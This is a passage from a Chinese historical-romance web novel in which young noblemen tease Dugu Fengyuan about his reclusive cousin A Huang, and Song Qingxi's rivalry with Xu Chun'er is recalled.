“你这儿什么时候有这么一个远房表妹?”宋清希忽然说,“来了这么多次,我怎么没见过?” 独孤凤渊很想知道他口中的“这么一个”是什么意思:“你想什么?” 这宋家幺孙,嚣张跋扈小霸王,当了这么多年的兄弟,他哪里不知道这小子的脾性? “想也不行?”宋清希反问,好似不依不饶。 旁边的兄弟在起哄,就连许萧然也跟着凑热闹。 “她不爱出门,你们不知道也正常,不过我劝你还是别打她的主意。” 有人起哄道:“凭什么?” 独孤凤渊哑然,他自己也无法回答为什么,只是潜意识里觉得阿凰既住在国公府这么久,就不能被外人觊觎。 “我妹妹可是对你下了功夫,你别告诉我想吃着碗里看着锅里?”许萧然压低声音道。 一边耳尖的宋清希却听到了,他本就追随许纯儿多年不得,如今她还投向国公府,更让他气极。 之前他随手救下一孤女,名为山水侗,玄极见了一面便经常拜访宋府,他开始猜测意图,直到许纯儿时常不经意打听玄极的消息,他也乐意交换情报讨好她。 后来许纯儿向他要人,说要认为义妹,他就把山水侗送给她了,再后来,他就听说玄极开始频繁造访侯府。 这其中的弯弯道道,他用脚趾头都想得明白。 被许纯儿吊着这么久,他也想明白了,何必执着自己得不到的? 如今见了阿凰,他突然又产生了那种想缠着一个人不放的想法,缠到她烦为止。 见独孤凤渊被质问没回应,宋清希暗自冷笑,他和许纯儿是一样的。 良久,独孤凤渊才启唇:“她们都是未出阁的女子,这样说不合适,今后不要再议论。”